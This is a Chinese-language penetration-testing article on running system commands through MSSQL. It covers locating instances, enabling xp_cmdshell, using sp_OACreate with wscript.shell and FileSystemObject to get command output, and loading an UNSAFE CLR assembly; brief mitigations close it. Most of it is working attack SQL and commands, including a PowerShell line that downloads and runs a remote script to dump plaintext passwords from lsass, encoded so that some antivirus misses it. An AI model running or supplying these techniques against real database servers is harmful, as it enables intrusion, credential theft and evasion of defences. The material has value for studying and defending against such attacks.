探索基于MSSQL利用实现命令执行
0x01 前言
在渗透测试过程中,经常会碰到MSSQL数据库,通常我们会使用数据库中的扩展存储过程,例如xp_cmdshell 来进行提权或执行系统命令之类的操作,但是当xp_cmdshell不能使用的时候,我们还有什么别的方式呢?本文将介绍与分享笔者总结的一些姿势以及对应的防护措施。
本文将要介绍以下内容:
- 快速灵活探测内网中存活mssql实例方法
- 基于xp_cmdshell 命令执行的常用方法
- 基于sp_OACreate 命令执行的多种方式
- 通过加载CLR 自定义函数功能执行命令
0x02 探测MSSQL服务
为了能快速寻找目标内网中所有存活的mssql实例作为切入点,如果进行大量扫描,极可能被网络流量防御设备监控,无疑是暴露自己的行踪,以下列举了常用的两种基于Windows原生工具快速探测MSSQL服务的方法。
基于工作组下mssql实例发现:
System.Data.SqlClient 命名空间是用于 SQL Server 的 .NET 数据提供程序。在net framework2.0 中新增加SqlDataSourceEnumerator类。提供了一种枚举本地网络内的所有可用 SQL Server 实例机制。
1 | PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()" |
基于域环境下mssql实例发现:
通过SPN进行查询:
SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN,对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作难以被检测到,使用windows下自带工具进行查询
1 | setspn -T domain.com -Q */* | findstr "MSSQL" |
0x03 关于MSSQL实质利用
启用目标mssql的xp_cmdshell
xp即eXtended Procedure,MSSQL中以XP打头的系统SP都是扩展存储过程,例如:xp_dirtree、XP_REGREAD,xp_subdirs等,xp_cmdshell 可以传递命令给cmd去执行。为了安全,这个功能在MSSQL中默认是未开放的。
查询当前sa是否为sysadmin系统管理员角色,默认情况下,只有sysadmin和serveradmin权限才有运行RECONFIGURE 语句的权限,实则开启该存储过程
从 2008r2 之后的 mssql 版本,如果是全程默认安装,已不再是system或者administrator,而是一个很低的 network 权限。
1 | SELECT is_srvrolemember('sysadmin'); |
实例:
尝试远程加载ps脚本提取主机lsass内存进程中的明文密码
使用System.Text.Encoding类将命令转换成Unicode字节数组,并进行utf_16_le编码,回到目标主机解码运行,实测部分杀软暂时不拦
1 | $text = "IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.232/mq.ps1'); Invoke-mq" |
启用目标 mssql 的 sp_oacreate
如果系统中xp_cmdshell组件对应的dll文件被删除或反病毒软件监控,返回CreateProcess Error Code 5
等问题,依然可以继续使用sp_oacreate存储过程进行命令交互。
sp_oacreate简介
1 | 参考语法: |
progid是要创建的OLE对象的编程标识符(ProgID)。此字符串描述OLE对象的类,其格式为:’ OLEComponent,它是OLE自动化服务器的组件名称,clsid为对象的类标识符 (CLSID)。
此字符串描述该 OLE 对象的类,其形式如下:’{nnnnnnnn-nnnn-nnnn-nnnn-nnnnnnnnnnnn}’
Object是OLE对象的名称,指定的 OLE 对象必须有效并且必须支持 IDispatch 接口。
OUTPUT是返回的对象标记,必须是数据类型为int的局部变量。此对象标记标识创建的OLE对象,并用于调用其他OLE自动化存储过程。
使用sysadmin权限,启用OLE Automation Procedures配置:
1 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE; |
实例:
1 | declare @shell int |
其中sp_OACreate 创建 OLE 对象 wscript.shell,这个对象也可以是其他ole对象,而 sp_OAMethod 调用 OLE 对象的方法, 如果未使用特定参数,则需要将NULL值作为占位符传递。
通过调用sp_oacreate
能够获得一个数字返回值0(成功)或非零数字(失败),它是OLE自动化对象返回值。
同时这种方式是无法回显的,当然,我们也可以使用DNS、HTTP等传输协议进行获取对应命令输出,但这并不是这此次的目的,既然能通过利用sp_OACreate系统存储过程来操作COM对象,以下我列举了OLE实例常用的对象:
1 | 1、Scripting.FileSystemObject—>提供一整套文件系统操作函数 |
经过探索,下面分享三种方法笔者实现执行命令并获取回显的方法。
一、scripting.filesystemobject
1、首先将结果重定向输出到文件
1 | declare @shell int |
2、创建一个scripting.filesystemobject对象实例,获取对象中opentextfile方法
语法:
1 | OpenTextFile(BSTR FileName, IOMode IOMode, VARIANT_BOOL Create, Tristate Format); |
3、使用sp_oamethod 调用实例方法并循环输出命令执行结果:
1 | declare @c int, @y int, @ret int |
同时通过创建数据库表,插入绝对路径文件到字段也是可以实现获取命令输出结果,显然这种方法不是最佳的选择,完整命令如下:
1 | use tempdb; |
二、wscript.shell.exec
以上二种方法原理都需将文件落地到目标服务器上进行读取,
是否能尝试无文件落地直接获取命令输出呢?
通过查阅相关网上资料,发现大多都是通过wscript.shell run执行系统程序,
于是,我尝试跟进wscript.shell对象,枚举出可以调用的方法如下:
1 | CreateShortcut |
其中run的返回值是一个整数,而exec方法的返回值是一个对象,从返回对象中可以取到控制台错误和控制台信息,即stdout和stderr属性。
故成功通过调用wscript.shell实例exec中stdout实现无文件落地回显命令:
1 | declare @shell int,@exec int,@text int,@str varchar(8000); |
到此,成功通过sp_oacreate 回显执行命令,与xp_cmdeshell无差。
启用mssql的CLR功能
SQL CLR 实现了对 .NET Framework 的公共语言运行时(CLR)的集成 ,它能将外部的函数导入到 SQL Server 存储过程中,让 SQL Server 的部分数据库对象可以调用用户自定义函数,等同于Mysql数据库中的UDF。
SQL Server执行CLR,需要满足以下条件:
1、在MSSQL Server 上允许启用CLR 并创建自定义存储过程
2、拥有CREATE ASSEMBLY、EXEC,CREATE PROCEDURE 权限
附上测试代码:
1 | using System; |
关键代码在cmd_exec内,代码逻辑很简单,通过调用cmd进程,并将execCommand参数进行传递执行,并应用out属性返回输出参数。
调用 NET Framework目录下的csc.exe将代码编译成dll文件,csc.exe 是 .NET 提供在命令行下编译 cs 文件的工具,安装了.Net 环境的主机的默认位置在 C:\Windows\Microsoft.NET\Framework[.NET 具体版本号] 目录下
由于笔者这里用的是2008 R2版本的数据库,故使用低版本.net 3.5编译 ,并将生成后的文件内容转换成十六进制字符串进行存储
启用当前数据库CLR功能
1 | Sp_Configure 'clr enabled', 1 |
将程序集加载到内存中
1 | CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM |
修改允许程序集不受限制访问SQL Server 内部和外部资源,
1 | WITH PERMISSION_SET = UNSAFE |
从加载的程序集创建存储过程
1 | CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; |
执行输出系统命令
1 | EXEC[dbo].[cmd_exec] 'whoami' |
0x04 防御措施
1、用户权限分配时,剥夺CREATE ASSEMBLY, CREATE PROCEDURE, EXEC权限。
2、对MSSQL Server 启动服务权限进行分配,限制高权限用户启动
3、加强数据库账号口令策略,避免存在弱口令。